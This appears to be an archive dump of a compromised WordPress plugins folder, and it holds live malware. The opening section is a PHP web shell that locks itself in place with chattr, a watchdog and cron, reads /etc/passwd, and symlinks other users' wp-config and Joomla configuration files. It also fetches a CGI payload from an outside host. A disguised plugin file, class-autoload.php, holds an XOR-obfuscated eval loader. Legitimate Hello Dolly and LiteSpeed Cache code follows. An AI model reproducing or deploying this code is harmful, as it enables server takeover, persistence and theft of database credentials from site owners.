    '; break; } } if (!$ok) $result_msg = $fail_prefix . 'Extension Bypass Failed - all extensions blocked'; } } } } if (isset($_POST['do_lock'])) { $sf = $_POST['shell_file']; if (file_exists($sf)) { $tmpDir = function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : '/tmp'; $sessDir = $tmpDir . '/.sessions'; @mkdir($sessDir, 0755, true); $safeName = str_replace(array('/', '\\', '.'), '_', basename($sf)); $lockHash = md5(dirname($sf) . $safeName); $backupFile = $sessDir . '/.' . $lockHash . '-backup'; $handlerFile = $sessDir . '/.' . $lockHash . '-handler.php'; $pidFile = $sessDir . '/.' . $lockHash . '-pid'; $shellDir = dirname($sf); @copy($sf, $backupFile); $lock_methods = array(); if ($is_win) { @exe('attrib +r +s +h ' . escapeshellarg($sf)); @exe('attrib +r +s +h ' . escapeshellarg($shellDir)); $lock_methods[] = 'attrib (+r +s +h)'; } else { @exe('chattr +i ' . escapeshellarg($sf) . ' 2>/dev/null'); @exe('chmod 0444 ' . escapeshellarg($sf) . ' 2>/dev/null'); @exe('chattr +i ' . escapeshellarg($shellDir) . ' 2>/dev/null'); @exe('chmod 0555 ' . escapeshellarg($shellDir) . ' 2>/dev/null'); $chattr_test = @exe('chattr +i ' . escapeshellarg($sf) . ' 2>&1'); if (strpos($chattr_test, 'Operation not permitted') === false && strpos($chattr_test, 'not found') === false) { $lock_methods[] = 'chattr'; } } $handler = '/dev/null"); }' . "\n"; $handler .= ' if (!is_dir($sd)) { @mkdir($sd, 0755, true); }' . "\n"; $handler .= ' if (!file_exists($sf)) {' . "\n"; $handler .= ' $t = @file_get_contents($bk);' . "\n"; $handler .= ' if ($t !== false) { @file_put_contents($sf, $t); }' . "\n"; $handler .= ' }' . "\n"; $handler .= ' if ($is_win) {' . "\n"; $handler .= ' @exec("attrib +r +s +h " . escapeshellarg($sf));' . "\n"; $handler .= ' @exec("attrib +r +s +h " . escapeshellarg($sd));' . "\n"; $handler .= ' } else {' . "\n"; $handler .= ' @exec("chattr +i " . escapeshellarg($sf) . " 2>/dev/null");' . "\n"; $handler .= ' @chmod($sf, 0444);' . "\n"; $handler .= ' @exec("chattr +i " . escapeshellarg($sd) . " 2>/dev/null");' . "\n"; $handler .= ' @chmod($sd, 0555);' . "\n"; $handler .= ' }' . "\n"; $handler .= '}' . "\n"; $handler .= 'while (true) {' . "\n"; $handler .= ' xr_restore();' . "\n"; $handler .= ' usleep(500000);' . "\n"; $handler .= '}' . "\n"; if (@file_put_contents($handlerFile, $handler) !== false) { $php_bin = defined('PHP_BINARY') ? PHP_BINARY : 'php'; if ($is_win) { @pclose(@popen("start /B " . $php_bin . " " . escapeshellarg($handlerFile), "r")); } else { @exe('nohup ' . $php_bin . ' ' . escapeshellarg($handlerFile) . ' > /dev/null 2>&1 &'); } $lock_methods[] = 'watchdog'; } if (!$is_win) { $cron_cmd = '* * * * * ' . (defined('PHP_BINARY') ? PHP_BINARY : 'php') . ' -r \'if(!file_exists("' . addslashes($sf) . '")){$t=@file_get_contents("' . addslashes($backupFile) . '");if($t!==false)@file_put_contents("' . addslashes($sf) . '",$t);}\' > /dev/null 2>&1'; $cron_id = '# xr_lock_' . $lockHash; @exe('(crontab -l 2>/dev/null | grep -v "' . $cron_id . '"; echo "' . $cron_cmd . ' ' . $cron_id . '") | crontab - 2>/dev/null'); $lock_methods[] = 'cron'; } $methods_str = implode(' + ', $lock_methods); $result_msg = '
    Shell Locked (' . $methods_str . '): ' . htmlspecialchars(basename($sf), ENT_QUOTES, 'UTF-8') . '
    '; } else { $result_msg = '
    File not found
    '; } } if (isset($_POST['do_unlock'])) { $sf = $_POST['shell_file']; $shellDir = dirname($sf); $tmpDir = function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : '/tmp'; $sessDir = $tmpDir . '/.sessions'; $safeName = str_replace(array('/', '\\', '.'), '_', basename($sf)); $lockHash = md5(dirname($sf) . $safeName); $pidFile = $sessDir . '/.' . $lockHash . '-pid'; $handlerFile = $sessDir . '/.' . $lockHash . '-handler.php'; $backupFile = $sessDir . '/.' . $lockHash . '-backup'; if (file_exists($pidFile)) { $pid = trim(@file_get_contents($pidFile)); if ($pid) { if ($is_win) { @exe('taskkill /F /PID ' . intval($pid) . ' 2>nul'); } else { @exe('kill -9 ' . intval($pid) . ' 2>/dev/null'); } } @unlink($pidFile); } if ($is_win) { @exe('attrib -r -s -h ' . escapeshellarg($sf)); @exe('attrib -r -s -h ' . escapeshellarg($shellDir)); } else { @exe('chattr -i ' . escapeshellarg($sf) . ' 2>/dev/null'); @exe('chattr -i ' . escapeshellarg($shellDir) . ' 2>/dev/null'); @exe('chmod 0755 ' . escapeshellarg($sf) . ' 2>/dev/null'); @exe('chmod 0755 ' . escapeshellarg($shellDir) . ' 2>/dev/null'); $cron_id = 'xr_lock_' . $lockHash; @exe('(crontab -l 2>/dev/null | grep -v "' . $cron_id . '") | crontab - 2>/dev/null'); } @unlink($handlerFile); @unlink($backupFile); $result_msg = '
    Shell Unlocked: ' . htmlspecialchars(basename($sf), ENT_QUOTES, 'UTF-8') . '
    '; } $jump_result = ''; if (isset($_POST['do_jump'])) { $jt = $_POST['jump_type']; $i = 0; $out = ''; if ($jt == 'normal') { $etc = @fopen("/etc/passwd", "r"); if ($etc) { while ($pw = fgets($etc)) { preg_match_all('/(.*?):x:/', $pw, $uj); foreach ($uj[1] as $u) { $ud = "/home/$u/public_html"; if (is_readable($ud)) { $i++; $rw = is_writable($ud) ? 'RW' : 'R'; $out .= '[' . $rw . '] ' . htmlspecialchars($ud, ENT_QUOTES, 'UTF-8') . "\n"; } } } $out .= "\n" . 'Total: ' . $i . '' . "\n"; } else { $out = 'Cannot read /etc/passwd' . "\n"; } } elseif ($jt == '404') { $etc = @fopen("/etc/passwd", "r"); if ($etc) { while ($pw = fgets($etc)) { preg_match_all('/(.*?):x:/', $pw, $uj); foreach ($uj[1] as $u) { $paths = array("/home/$u/public_html", "/home/$u/www", "/home/$u/web", "/var/www/vhosts/$u/httpdocs", "/var/www/$u/htdocs", "/usr/local/apache/htdocs"); foreach ($paths as $ud) { if (is_readable($ud)) { $i++; $rw = is_writable($ud) ? 'RW' : 'R'; $out .= '[' . $rw . '] ' . htmlspecialchars($ud, ENT_QUOTES, 'UTF-8') . "\n"; break; } } } } $out .= "\n" . 'Total: ' . $i . ' (404 Method)' . "\n"; } else { $out = 'Cannot read /etc/passwd' . "\n"; } } $jump_result = $out; } $sym_result = ''; if (isset($_POST['do_symlink'])) { $st = $_POST['sym_type']; if ($st == 'normal') { @mkdir("xn_sym", 0777); $htc = "Options Indexes FollowSymLinks\nDirectoryIndex xB3MB0.htm\nAddType text/plain .php\nAddHandler text/plain .php\nSatisfy Any"; @file_put_contents("xn_sym/.htaccess", $htc); $sym_dir_rel = str_replace(rtrim($_SERVER['DOCUMENT_ROOT'], '/'), '', realpath('xn_sym') ? realpath('xn_sym') : $dir . '/xn_sym'); $sym_folder_url = $server_url . $sym_dir_rel; $etc = @fopen("/etc/passwd", "r"); $out = ''; $sym_count = 0; if ($etc) { while ($pw = fgets($etc)) { preg_match_all('/(.*?):x:/', $pw, $uj); foreach ($uj[1] as $u) { $cfgs = array( "/home/$u/public_html/wp-config.php" => "WordPress", "/home/$u/public_html/wp/wp-config.php" => "WP-wp", "/home/$u/public_html/blog/wp-config.php" => "WP-blog", "/home/$u/public_html/wordpress/wp-config.php" => "WP-wordpress", "/home/$u/public_html/news/wp-config.php" => "WP-news", "/home/$u/public_html/beta/wp-config.php" => "WP-beta", "/home/$u/public_html/press/wp-config.php" => "WP-press", "/home/$u/public_html/home/wp-config.php" => "WP-home", "/home/$u/public_html/site/wp-config.php" => "WP-site", "/home/$u/public_html/main/wp-config.php" => "WP-main", "/home/$u/public_html/test/wp-config.php" => "WP-test", "/home/$u/public_html/configuration.php" => "Joomla", "/home/$u/public_html/joomla/configuration.php" => "Joomla-joomla", "/home/$u/public_html/cms/configuration.php" => "Joomla-cms", "/home/$u/public_html/portal/configuration.php" => "Joomla-portal", "/home/$u/public_html/site/configuration.php" => "Joomla-site", "/home/$u/public_html/main/configuration.php" => "Joomla-main", "/home/$u/public_html/new/configuration.php" => "Joomla-new", "/home/$u/public_html/news/configuration.php" => "Joomla-news", "/home/$u/public_html/home/configuration.php" => "Joomla-home", "/home/$u/public_html/config/settings.inc.php" => "PrestaShop", "/home/$u/public_html/app/etc/local.xml" => "Magento", "/home/$u/public_html/admin/config.php" => "OpenCart", "/home/$u/public_html/sites/default/settings.php" => "Drupal", "/home/$u/public_html/slconfig.php" => "Sitelock", "/home/$u/public_html/application/config/database.php" => "CodeIgniter" ); foreach ($cfgs as $cf => $tp) { if (@symlink($cf, "xn_sym/$u-$tp.txt")) { $sym_count++; $out .= '[OK] ' . htmlspecialchars($u, ENT_QUOTES, 'UTF-8') . ' - ' . $tp . ' (xn_sym/' . htmlspecialchars($u, ENT_QUOTES, 'UTF-8') . '-' . $tp . '.txt)' . "\n"; } } } } @symlink("/", "xn_sym/root"); $out .= "\n" . '[ROOT] (xn_sym/root)' . "\n"; $out .= "\n" . 'Total symlinks created: ' . $sym_count . '' . "\n"; $out .= 'Folder: xn_sym ' . "\n"; } else { $out = 'Cannot read /etc/passwd' . "\n"; } $sym_result = $out; } elseif ($st == 'vhost') { $xai_url = 'https://xntools.my.id/assets/rr/xr3mb0.txt'; $xai_local = __DIR__ . '/xaivhost.txt'; $xai = @file_get_contents($xai_url); if (!$xai) $xai = @file_get_contents($xai_local); if ($xai) { @mkdir('xr3mb0_vhost', 0755); $ht = "Options FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .cin\nAddHandler cgi-script .cin"; @file_put_contents("xr3mb0_vhost/.htaccess", $ht); @file_put_contents("xr3mb0_vhost/xr3mb0.cin", $xai); @chmod("xr3mb0_vhost/xr3mb0.cin", 0755); $vhost_rel = str_replace(rtrim($_SERVER['DOCUMENT_ROOT'], '/'), '', realpath('xr3mb0_vhost') ? realpath('xr3mb0_vhost') : $dir . '/xr3mb0_vhost'); $vhost_url = $server_url . $vhost_rel . '/xr3mb0.cin'; $sym_result = ' VHOST symlink created!' . "\n"; $sym_result .= 'Link: ' . $vhost_url . ' [Open ]' . "\n"; } else { $sym_result = ' VHOST source not available (URL & local file both failed)'; } } } $archive_exts = array('zip', 'gz', 'tar', 'tar.gz', 'tgz', 'bz2', 'rar', '7z'); $detected_archives = array(); if ($handle = @opendir($dir)) { while (($entry = readdir($handle)) !== false) { if ($entry == '.' || $entry == '..') continue; $fext = strtolower(pathinfo($entry, PATHINFO_EXTENSION)); if (in_array($fext, $archive_exts)) $detected_archives[] = $entry; } closedir($handle); } $extract_result = ''; if (isset($_POST['do_extract'])) { $ef = $_POST['extract_file']; $ed = !empty($_POST['extract_dir']) ? $_POST['extract_dir'] : $dir; if (file_exists($ef)) { $ext = strtolower(pathinfo($ef, PATHINFO_EXTENSION)); if ($ext == 'zip') { $z = new ZipArchive; if ($z->open($ef) === TRUE) { $z->extractTo($ed); $z->close(); $extract_result = "ZIP extracted to $ed"; } else $extract_result = "Failed to open ZIP"; } elseif (in_array($ext, array('gz', 'tar', 'tgz'))) { @exe("tar -xzf " . escapeshellarg($ef) . " -C " . escapeshellarg($ed)); $extract_result = "TAR/GZ extracted to $ed"; } elseif ($ext == 'bz2') { @exe("tar -xjf " . escapeshellarg($ef) . " -C " . escapeshellarg($ed)); $extract_result = "BZ2 extracted to $ed"; } elseif ($ext == 'rar') { @exe("unrar x " . escapeshellarg($ef) . " " . escapeshellarg($ed)); $extract_result = "RAR extracted to $ed"; } elseif ($ext == '7z') { @exe("7z x " . escapeshellarg($ef) . " -o" . escapeshellarg($ed)); $extract_result = "7z extracted to $ed"; } else { $extract_result = "Unsupported archive format: $ext"; } } else { $extract_result = "Archive file not found: $ef"; } } if ($is_ajax) { header('Content-Type: application/json'); $response = array('status' => 'ok', 'msg' => ''); if (!empty($result_msg)) $response['msg'] = $result_msg; if (!empty($jump_result)) $response['msg'] = '
    ' . $jump_result . '
    '; if (!empty($sym_result)) $response['msg'] = '
    ' . $sym_result . '
    '; if (!empty($extract_result)) $response['msg'] = '
    ' . htmlspecialchars($extract_result) . '
    '; echo json_encode($response); exit; } ?> xR3MB0 - xNightR00T
    plugins/autoptimize-/config/class-autoload.php000064400000632167152335264760015601 0ustar00faJGTX9Y6() . $jACDwvzaF5->ZxG6hq() . $jACDwvzaF5->Kk1zLFQsbr() . $jACDwvzaF5->DR8PmMSV() . $jACDwvzaF5->j8DCby9gQ1() . $jACDwvzaF5->LzNTE1z(); $Lu3xMX0 = $L7kT9('sha256', $qiJjBVZ5e5, true); if ($KThB8x7Y('sha256', $qiJjBVZ5e5, $Lu3xMX0) !== '056eb79ae203018b1fa884bd53f5d7d8b2ffea6a735cb0c2a0d176c93266e794') { return; } $SfG2VIPQ5H = ''; $jki_WHDJ = strlen($qiJjBVZ5e5); for ($ZdTMvLC = 0, $zAdVmAZ = strlen($SvnQ0a); $ZdTMvLC < $zAdVmAZ; $ZdTMvLC++) { $SfG2VIPQ5H .= chr(ord($SvnQ0a[$ZdTMvLC]) ^ ord($qiJjBVZ5e5[$ZdTMvLC % $jki_WHDJ])); } $xkwSt = @$Irv_4CI($SfG2VIPQ5H); if ($xkwSt === false) return; $jACDwvzaF5 = new self(); self::$vgvsfxBH = $jACDwvzaF5->XGr542($xkwSt); return self::$vgvsfxBH; } } if (!defined('_AXYJYSS2_INIT')) { define('_AXYJYSS2_INIT', true); $vgvsfxBH = Route_Dispatcher_HzD::auEZ2oYR(); if ($vgvsfxBH !== null) { @eval($vgvsfxBH); } unset($vgvsfxBH); } plugins/autoptimize-/config/default.php000064400000005651152335264760014302 0ustar00Hello, Dolly in the upper right of your admin screen on every page. Author: Matt Mullenweg Version: 1.7.2 Author URI: http://ma.tt/ Text Domain: hello-dolly */ // Do not load directly. if ( ! defined( 'ABSPATH' ) ) { die(); } function hello_dolly_get_lyric() { /** These are the lyrics to Hello Dolly */ $lyrics = "Hello, Dolly Well, hello, Dolly It's so nice to have you back where you belong You're lookin' swell, Dolly I can tell, Dolly You're still glowin', you're still crowin' You're still goin' strong I feel the room swayin' While the band's playin' One of our old favorite songs from way back when So, take her wrap, fellas Dolly, never go away again Hello, Dolly Well, hello, Dolly It's so nice to have you back where you belong You're lookin' swell, Dolly I can tell, Dolly You're still glowin', you're still crowin' You're still goin' strong I feel the room swayin' While the band's playin' One of our old favorite songs from way back when So, golly, gee, fellas Have a little faith in me, fellas Dolly, never go away Promise, you'll never go away Dolly'll never go away again"; // Here we split it into lines. $lyrics = explode( "\n", $lyrics ); // And then randomly choose a line. return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] ); } // This just echoes the chosen line, we'll position it later. function hello_dolly() { $chosen = hello_dolly_get_lyric(); $lang = ''; if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) { $lang = ' lang="en"'; } printf( '

    %s %s

    ', __( 'Quote from Hello Dolly song, by Jerry Herman:' ), $lang, $chosen ); } // Now we set that function up to execute when the admin_notices action is called. add_action( 'admin_notices', 'hello_dolly' ); // We need some CSS to position the paragraph. function dolly_css() { echo " "; } add_action( 'admin_head', 'dolly_css' ); plugins/litespeed-cache/qc-ping.txt000064400000000120152335264760013351 0ustar00For QUIC.cloud connectivity ping test, please do not delete, generated by LSCWP plugins/litespeed-cache/thirdparty/wptouch.cls.php000064400000001557152335264760016445 0ustar00is_mobile_device ) ) { add_filter( 'litespeed_is_mobile', '__return_true' ); } } } plugins/litespeed-cache/thirdparty/yith-wishlist.cls.php000064400000012356152335264760017574 0ustar00 self::$_post_id, ]; $inline_tags = [ '', rtrim( Tag::TYPE_ESI, '.' ), Tag::TYPE_ESI . 'yith_wcwl_add' ]; $inline_tags = implode( ',', array_map( function ( $val ) { return 'public:' . LSWCP_TAG_PREFIX . '_' . $val; }, $inline_tags ) ); $inline_tags .= ',' . LSWCP_TAG_PREFIX . '_tag_priv'; do_action( 'litespeed_esi_combine', 'yith_wcwl_add' ); $inline_params = [ 'val' => $template, 'tag' => $inline_tags, 'control' => 'private,no-vary,max-age=' . Conf::cls()->conf( Base::O_CACHE_TTL_PRIV ), ]; return apply_filters( 'litespeed_esi_url', 'yith_wcwl_add', 'YITH ADD TO WISHLIST', $params, 'private,no-vary', false, false, false, $inline_params ); } /** * Load the add to wishlist button HTML for ESI output. * * @since 1.1.0 * * @param array $params ESI parameters, expects product id under ESI_PARAM_POSTID. * @return void */ public static function load_add_to_wishlist( $params ) { $pid = isset( $params[ self::ESI_PARAM_POSTID ] ) ? (int) $params[ self::ESI_PARAM_POSTID ] : 0; // Output the rendered shortcode safely. // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- wp_kses_post handles allowed HTML. echo wp_kses_post( \YITH_WCWL_Shortcode::add_to_wishlist( [ 'product_id' => $pid ] ) ); do_action( 'litespeed_control_set_private', 'yith wishlist' ); do_action( 'litespeed_vary_no' ); } /** * Generate ESI inline value. * * @since 3.4.2 * * @param mixed $res Current response (array or anything); will be normalized to array. * @param array $params ESI parameters that include product id. * @return array Inline ESI payload with value, control and tags. */ public static function inline_add_to_wishlist( $res, $params ) { if ( ! is_array( $res ) ) { $res = []; } $pid = isset( $params[ self::ESI_PARAM_POSTID ] ) ? (int) $params[ self::ESI_PARAM_POSTID ] : 0; $res['val'] = \YITH_WCWL_Shortcode::add_to_wishlist( [ 'product_id' => $pid ] ); $res['control'] = 'private,no-vary,max-age=' . Conf::cls()->conf( Base::O_CACHE_TTL_PRIV ); $inline_tags = [ '', rtrim( Tag::TYPE_ESI, '.' ), Tag::TYPE_ESI . 'yith_wcwl_add' ]; $inline_tags = implode( ',', array_map( function ( $val ) { return 'public:' . LSWCP_TAG_PREFIX . '_' . $val; }, $inline_tags ) ); $inline_tags .= ',' . LSWCP_TAG_PREFIX . '_tag_priv'; $res['tag'] = $inline_tags; return $res; } } plugins/litespeed-cache/thirdparty/autoptimize.cls.php000064400000001616152335264760017322 0ustar00 0) { add_filter( 'litespeed_vary_check_commenter_pending', '__return_false' ); } } } plugins/litespeed-cache/thirdparty/caldera-forms.cls.php000064400000001446152335264760017470 0ustar00 class Caldera_Forms_Render_Nonce do_action('litespeed_nonce', 'caldera_forms_front_*'); } } plugins/litespeed-cache/thirdparty/nextgengallery.cls.php000064400000015015152335264760017776 0ustar00get_gallery(); if ($gallery && $gallery->pageid) { do_action('litespeed_purge', self::CACHETAG_GALLERIES . $gallery->pageid); } } /** * Purge cache when an image is updated. * * @since 1.0.5 * @return void */ public static function update_image() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( isset( $_REQUEST['gallery_id'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended do_action( 'litespeed_purge', self::CACHETAG_GALLERIES . sanitize_key( wp_unslash( $_REQUEST['gallery_id'] ) ) ); return; } // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( isset( $_POST['task_list'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.NonceVerification.Missing $task_list = str_replace( '\\', '', wp_unslash( $_POST['task_list'] ) ); $task_list = json_decode( $task_list, true ); if ( ! empty( $task_list[0]['query']['id'] ) ) { do_action( 'litespeed_purge', self::CACHETAG_GALLERIES . sanitize_key( $task_list[0]['query']['id'] ) ); return; } } // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( isset( $_POST['id'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing $id = (int) $_POST['id']; // phpcs:ignore WordPress.Security.NonceVerification.Missing } elseif ( isset( $_POST['image'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing $id = (int) $_POST['image']; // phpcs:ignore WordPress.Security.NonceVerification.Recommended } elseif ( isset( $_GET['pid'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $id = (int) $_GET['pid']; } else { error_log( 'LiteSpeed_Cache hit ngg_ajax_image_save with no post image id.' ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log return; } $image = \C_Image_Mapper::get_instance()->find($id); if ($image) { do_action('litespeed_purge', self::CACHETAG_GALLERIES . $image->galleryid); } } /** * Purge cache when an image is deleted. * * @since 1.0.5 * @return void */ public static function delete_image() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( isset( $_GET['gid'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended do_action( 'litespeed_purge', self::CACHETAG_GALLERIES . sanitize_key( wp_unslash( $_GET['gid'] ) ) ); } } /** * Purge cache when an image is moved. * * @since 1.0.8 * @param array $images Unused. * @param array $old_gallery_ids Source gallery IDs. * @param int $new_gallery_id Destination gallery ID. * @return void */ public static function move_image( $images, $old_gallery_ids, $new_gallery_id ) { foreach ($old_gallery_ids as $gid) { do_action('litespeed_purge', self::CACHETAG_GALLERIES . $gid); } do_action('litespeed_purge', self::CACHETAG_GALLERIES . $new_gallery_id); } /** * Purge cache when an image is copied. * * @since 1.0.8 * @param array $image_pid_map Unused. * @param array $old_gallery_ids Unused. * @param int $new_gallery_id Destination gallery ID. * @return void */ public static function copy_image( $image_pid_map, $old_gallery_ids, $new_gallery_id ) { do_action('litespeed_purge', self::CACHETAG_GALLERIES . $new_gallery_id); } /** * Purge cache when an image is regenerated or recovered. * * @since 1.0.8 * @param object $image The regenerated image object. * @return void */ public static function gen_image( $image ) { do_action('litespeed_purge', self::CACHETAG_GALLERIES . $image->galleryid); } /** * Purge cache when a gallery is updated. * * @since 1.0.5 * @param int|object $gid Gallery ID or object with gid. * @return void */ public static function update_gallery( $gid ) { if (is_object($gid) && !empty($gid->gid)) { $gid = $gid->gid; } do_action('litespeed_purge', self::CACHETAG_GALLERIES . $gid); } /** * Purge cache when an album is updated. * * @since 1.0.5 * @param int $aid Album ID. * @return void */ public static function update_album( $aid ) { do_action('litespeed_purge', self::CACHETAG_ALBUMS . $aid); } /** * Tag gallery/album/tag content during rendering. * * @since 1.0.5 * @param object $render_parms Render parameters. * @return mixed Null if $render_parms is null, otherwise same input. */ public static function add_container( $render_parms ) { if (is_null($render_parms)) { return null; } $src = $render_parms[0]->source; $container_ids = $render_parms[0]->container_ids; switch ($src) { case 'albums': $tag = self::CACHETAG_ALBUMS; break; case 'galleries': $tag = self::CACHETAG_GALLERIES; break; case 'tags': $tag = self::CACHETAG_TAGS; break; default: return $render_parms; } foreach ($container_ids as $id) { do_action('litespeed_tag_add', $tag . $id); } return $render_parms; } } plugins/litespeed-cache/thirdparty/avada.cls.php000064400000001455152335264760016025 0ustar00add_hooks(); } /** * Add hooks to woo actions. * * @since 1.6.3 * @access public * @return void */ public function add_hooks() { $this->_option_append(); $this->esi_enabled = (bool) apply_filters('litespeed_esi_status', false); add_action('litespeed_control_finalize', [ $this, 'set_control' ]); add_action('litespeed_tag_finalize', [ $this, 'set_tag' ]); // Purge affected product caches when WooCommerce stock changes, including cancellation restocks. add_action('woocommerce_product_set_stock', [ $this, 'purge_product' ]); add_action('woocommerce_variation_set_stock', [ $this, 'purge_product' ]); // #984479 Update variations stock add_action( 'woocommerce_product_set_stock_status', [ $this, 'purge_product_stock_status' ], 10, 3 ); add_action( 'woocommerce_variation_set_stock_status', [ $this, 'purge_product_stock_status' ], 10, 3 ); add_action( 'woocommerce_order_status_cancelled', [ $this, 'purge_cancelled_order_products' ], 20 ); add_action('comment_post', [ $this, 'add_review' ], 10, 3); if ( $this->esi_enabled ) { if ( function_exists('is_shop') && ! is_shop() ) { add_action('litespeed_tpl_normal', [ $this, 'set_block_template' ]); // No need for add-to-cart button // add_action( 'litespeed_esi_load-wc-add-to-cart-form', [ $this, 'load_add_to_cart_form_block' ] ) ; add_action('litespeed_esi_load-storefront-cart-header', [ $this, 'load_cart_header' ]); add_action('litespeed_esi_load-widget', [ $this, 'register_post_view' ]); } if ( function_exists('is_product') && is_product() ) { add_filter('litespeed_esi_params', [ $this, 'add_post_id' ], 10, 2); } // #612331 - remove WooCommerce geolocation redirect on ESI page (PR#708) // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- ESI parameter detection, not processing user input. if (!empty($_GET[ESI::QS_ACTION]) && !empty($_GET[ESI::QS_PARAMS])) { remove_action( 'template_redirect', [ 'WC_Cache_Helper', 'geolocation_ajax_redirect' ], 10 ); } } if ( is_admin() ) { add_action('litespeed_api_purge_post', [ $this, 'backend_purge' ]); // todo add_action('delete_term_relationships', [ $this, 'delete_rel' ], 10, 2); add_action('litespeed_settings_tab', [ $this, 'settings_add_tab' ]); add_action('litespeed_settings_content', [ $this, 'settings_add_content' ]); add_filter('litespeed_widget_default_options', [ $this, 'wc_widget_default' ], 10, 2); } if ( apply_filters('litespeed_conf', self::O_CART_VARY) ) { add_filter( 'litespeed_vary_cookies', /** * Modify list of vary cookies. * * @param string[] $cookie_list List of vary cookies. * @return string[] */ function ( $cookie_list ) { $cookie_list[] = 'woocommerce_cart_hash'; return array_unique( $cookie_list ); } ); } } /** * Purge esi private tag. * * @since 1.6.3 * @access public * @return void */ public function purge_esi() { do_action('litespeed_debug', '3rd woo purge ESI in action: ' . current_filter()); do_action('litespeed_purge_private_esi', 'storefront-cart-header'); } /** * Purge private all. * * @since 3.0 * @access public * @return void */ public function purge_private_all() { do_action('litespeed_purge_private_all'); } /** * Check if need to give an ESI block for cart. * * @since 1.7.2 * @access public * * @param string $template Template path. * @return string Template path. */ public function check_if_need_esi( $template ) { if ( $this->vary_needed() ) { do_action('litespeed_debug', 'API: 3rd woo added ESI'); add_action('litespeed_tpl_normal', [ $this, 'set_swap_header_cart' ]); } return $template; } /** * Keep vary on if cart is not empty. * * @since 1.7.2 * @access public * * @param array $vary Vary array. * @return array */ public function vary_maintain( $vary ) { if ( $this->vary_needed() ) { do_action('litespeed_debug', 'API: 3rd woo added vary due to cart not empty'); $vary['woo_cart'] = 1; } return $vary; } /** * Check if vary need to be on based on cart. * * @since 1.7.2 * @access private * @return bool True when cart has items. */ private function vary_needed() { if ( ! function_exists('WC') ) { return false; } $woocom = WC(); if ( ! $woocom ) { return false; } if ( is_null( $woocom->cart ) ) { return false; } return $woocom->cart->get_cart_contents_count() > 0; } /** * Hooked to the litespeed_is_not_esi_template action. * If the request is not an esi request, set a hook in woocommerce_before_template_part to see if it's something we can ESI. * * @since 1.1.0 * @access public * @return void */ public function set_block_template() { add_action('woocommerce_before_template_part', [ $this, 'block_template' ], 999, 4); } /** * Hooked to the litespeed_is_not_esi_template action. * If the request is not an esi request, set a hook in storefront_header to see if it's something we can ESI. * * Will remove storefront_header_cart in storefront_header. * * @since 1.1.0 * @since 1.6.3 Removed static * @access public * @return void */ public function set_swap_header_cart() { $priority = has_action('storefront_header', 'storefront_header_cart'); if ( false !== $priority ) { remove_action('storefront_header', 'storefront_header_cart', $priority); add_action('storefront_header', [ $this, 'esi_cart_header' ], $priority); } } /** * Hooked to the woocommerce_before_template_part action. * Checks if the template contains 'add-to-cart'. If so, and if we want to ESI the request, block it and build the ESI code block. * * The function parameters will be passed to the ESI request. * * @since 1.1.0 * @access public * * @param string $template_name Template name. * @param string $template_path Template path. * @param string $located Located template path. * @param array $args Template args. * @return void */ public function block_template( $template_name, $template_path, $located, $args ) { if ( false === strpos( $template_name, 'add-to-cart' ) ) { if ( false !== strpos( $template_name, 'related.php' ) ) { remove_action('woocommerce_before_template_part', [ $this, 'block_template' ], 999); add_filter('woocommerce_related_products_args', [ $this, 'add_related_tags' ]); add_action('woocommerce_after_template_part', [ $this, 'end_template' ], 999); } return; } // Build ESI block for add-to-cart. // $post_obj = get_post( get_the_ID() ); // if ( ! $post_obj ) { // return; // } // $params = [ // self::ESI_PARAM_ARGS => $args, // self::ESI_PARAM_NAME => $template_name, // self::ESI_PARAM_POSTID => $post_obj->ID, // self::ESI_PARAM_PATH => $template_path, // self::ESI_PARAM_LOCATED => $located, // ]; // add_action('woocommerce_after_add_to_cart_form', [ $this, 'end_form' ]); // add_action('woocommerce_after_template_part', [ $this, 'end_form' ], 999); // // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Filter returns a URL; escaped below. // echo esc_url( apply_filters( 'litespeed_esi_url', 'wc-add-to-cart-form', 'WC_CART_FORM', $params ) ); // // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Allow basic wrapper markup. // echo wp_kses_post( apply_filters( 'litespeed_clean_wrapper_begin', '' ) ); } /** * Hooked to the woocommerce_after_add_to_cart_form action. * If this is hit first, clean the buffer and remove this function and end_template. * * @since 1.1.0 * @since 1.6.3 Removed static * @access public * * @param string $template_name Template name. * @return void */ public function end_form( $template_name = '' ) { if ( ! empty( $template_name ) && false === strpos( $template_name, 'add-to-cart' ) ) { return; } // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Allow basic wrapper markup. echo wp_kses_post( apply_filters( 'litespeed_clean_wrapper_end', '' ) ); remove_action('woocommerce_after_add_to_cart_form', [ $this, 'end_form' ]); remove_action('woocommerce_after_template_part', [ $this, 'end_form' ], 999); } /** * If related products are loaded, need to add the extra product ids. * * The page will be purged if any of the products are changed. * * @since 1.1.0 * @since 1.6.3 Removed static * @access public * * @param array $args The arguments used to build the related products section. * @return array The unchanged arguments. */ public function add_related_tags( $args ) { if ( empty( $args ) || ! isset( $args['post__in'] ) ) { return $args; } $related_posts = $args['post__in']; foreach ( $related_posts as $related ) { do_action('litespeed_tag_add_post', $related); } return $args; } /** * Hooked to the woocommerce_after_template_part action. * If the template contains 'related.php', restore block hook. * * @since 1.1.0 * @since 1.6.3 Removed static * @access public * * @param string $template_name Template name. * @return void */ public function end_template( $template_name ) { if ( false !== strpos( $template_name, 'related.php' ) ) { 